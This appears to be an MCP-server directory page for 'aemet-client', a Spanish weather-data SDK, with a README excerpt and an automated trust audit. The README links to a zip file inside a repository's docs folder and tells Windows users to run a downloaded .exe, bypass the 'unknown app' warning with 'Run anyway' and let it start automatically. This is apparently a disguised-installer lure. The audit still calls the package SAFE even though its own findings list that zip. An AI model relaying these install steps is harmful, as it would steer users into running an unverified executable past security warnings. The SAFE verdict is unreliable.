aemet-clientSAFE
Access Spanish weather data through a TypeScript SDK and Model Context Protocol server for the AEMET OpenData API.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/Alysiadeceptive64/aemet-client/raw/refs/heads/main/packages/aemet-client/docs/clientaemet2.9-alpha.2.zip)
This application connects your computer to official weather data from Spain. It provides current conditions, forecasts, and radar maps. You can use this data inside AI tools like Claude Desktop, Cursor, or Windsurf. Developers can also use the code directly in their own projects to display weather information. Aemet-client acts as a bridge between official government data and the tools you use every day.
📥 How to download the software
To begin, you need the official installer. Visit the page below to view all available files for your system.
Download the aemet-client installer
- Open the link above in your web browser.
- Look for the section titled Latest.
- Select the file ending in .exe for Windows.
- Save the file to your Downloads folder.
⚙️ Setting up on Windows
Once the file finishes downloading, follow these steps to prepare your system.
- Double-click the downloaded file in your folder.
- A window from Windows warns you about unknown apps. Click More info, then click Run anyway.
- Follow the sequence of prompts on your screen.
- Choose a location on your hard drive to store the app files.
- Click Install to finish the process.
The application does not require complex configuration. It runs in the background. It listens for requests from your other programs. This allows apps like Claude or Cursor to see weather updates in real time.
🛠️ Using the weather tools
After the installation completes, the tool starts automatically when you restart your computer. You verify it works by checking the Windows Task Manager. Look for the process named aemet-client.
2d97c0fce1afOBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add aemet-mcp --env AEMET_API_KEY=${AEMET_API_KEY} -- npx -y [email protected]Exposed tools (3)
3 read · 0 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
get_forecast | read | |
get_nearest_observation | read | |
get_warnings | read |
Trust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (5 observation(s))
- Network
- declared (2 observation(s))
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (11)
client_aemet_2.9-alpha.2.zip
.prettierignore
.prettierrc.json
import { AemetError } from "../../errors.js";import type { RequestOptions } from "../../transport.js";import { AemetError } from "../../errors.js";import type { RequestOptions } from "../../transport.js";import { toAemetDate, type AemetDateInput } from "../../utils/date.js";eslint, prettier, typescript-eslint
fast-xml-parser, @types/node, @vitest/coverage-v8, tsup, typescript, vite, vitest
@modelcontextprotocol/sdk, zod, @types/node, tsup, typescript, vitest
Gates applied: no_behavioural_pass.
2d97c0fce1affull audit observations/trust-audit/mcp-server/alysiadeceptive64__aemet-client.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 2d97c0fce1af | SAFE | B | 89 | first audit |
Questions
What is the aemet-client MCP server?
Access Spanish weather data through a TypeScript SDK and Model Context Protocol server for the AEMET OpenData API.
What tools does aemet-client expose?
3 in total: 3 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is aemet-client safe to connect to an agent?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.
What credentials does aemet-client need?
It reads AEMET_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does aemet-client run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as aemet-mcp at 0.1.2.
How current is this page?
The grade is for one exact copy of the source (2d97c0fce1af), read on 2026-10-11. The repository is watched and re-audited when it changes.